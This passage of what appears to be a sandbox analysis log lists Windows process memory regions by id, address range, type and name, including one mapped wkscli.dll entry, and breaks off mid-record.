0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 854 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 855 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 856 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 857 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 858 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 859 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 860 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 861 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 862 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 863 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 864 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 865 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 866 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 867 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 868 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 869 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 870 start_va = 0x75290000 end_va = 0x7529efff entry_point = 0x75290000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 871 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 872 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 873 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 874 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 875 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 876 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 877 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 878 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 879 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 880 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 881 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 882 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 883 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 884 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 891 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 892 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 893 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 894 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 895 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 896 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 897 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 898 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 899 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 900 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 901 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 902 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 903 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 904 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 905 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 906 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 907 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 908 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 909 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 910 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 911 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 912 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 913 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 914 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 915 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 916 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 917 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 918 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 919 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 920 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 921 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 922 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 923 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 924 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 925 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 926 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 927 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 928 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 929 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 930 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 931 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 932 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 933 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 934 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 935 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 936 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 937 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 938 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 939 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 940 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 941 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 942 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 943 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 944 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 945 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 946 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 947 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 948 start_va = 0x4160000 end_va = 0x419ffff entry_point = 0x0 region_type = private name = "private_0x0000000004160000" filename = "" Region: id = 949 start_va = 0x41a0000 end_va = 0x429ffff entry_point = 0x0 region_type = private name = "private_0x00000000041a0000" filename = "" Region: id = 950 start_va = 0x7ef86000 end_va = 0x7ef88fff entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 951 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 952 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 953 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 954 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 955 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 956 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 957 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 958 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 959 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 960 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 961 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 962 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 963 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 964 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 965 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 966 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 967 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 968 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 969 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 970 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 971 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 972 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 973 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 974 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 975 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 976 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 977 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 978 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 979 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 980 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 981 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 982 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 983 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 984 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 985 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 986 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 987 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 988 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 989 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 990 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 991 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 992 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 993 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 994 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 995 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 996 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 997 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 998 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 999 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1000 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1001 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1002 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1003 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1004 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1005 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1021 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1022 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1023 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1024 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1025 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1026 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1027 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1028 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1029 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1030 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1031 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1032 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1033 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1034 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1035 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1036 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1037 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1038 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1039 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1040 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1041 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1042 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1043 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1044 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1045 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1046 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1047 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1048 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1049 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1050 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1051 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1052 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1053 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1054 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1055 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1056 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1057 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1058 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1059 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1060 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1061 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1062 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1063 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1064 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1065 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1066 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1067 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1068 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1069 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1070 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1071 start_va = 0x2c0000 end_va = 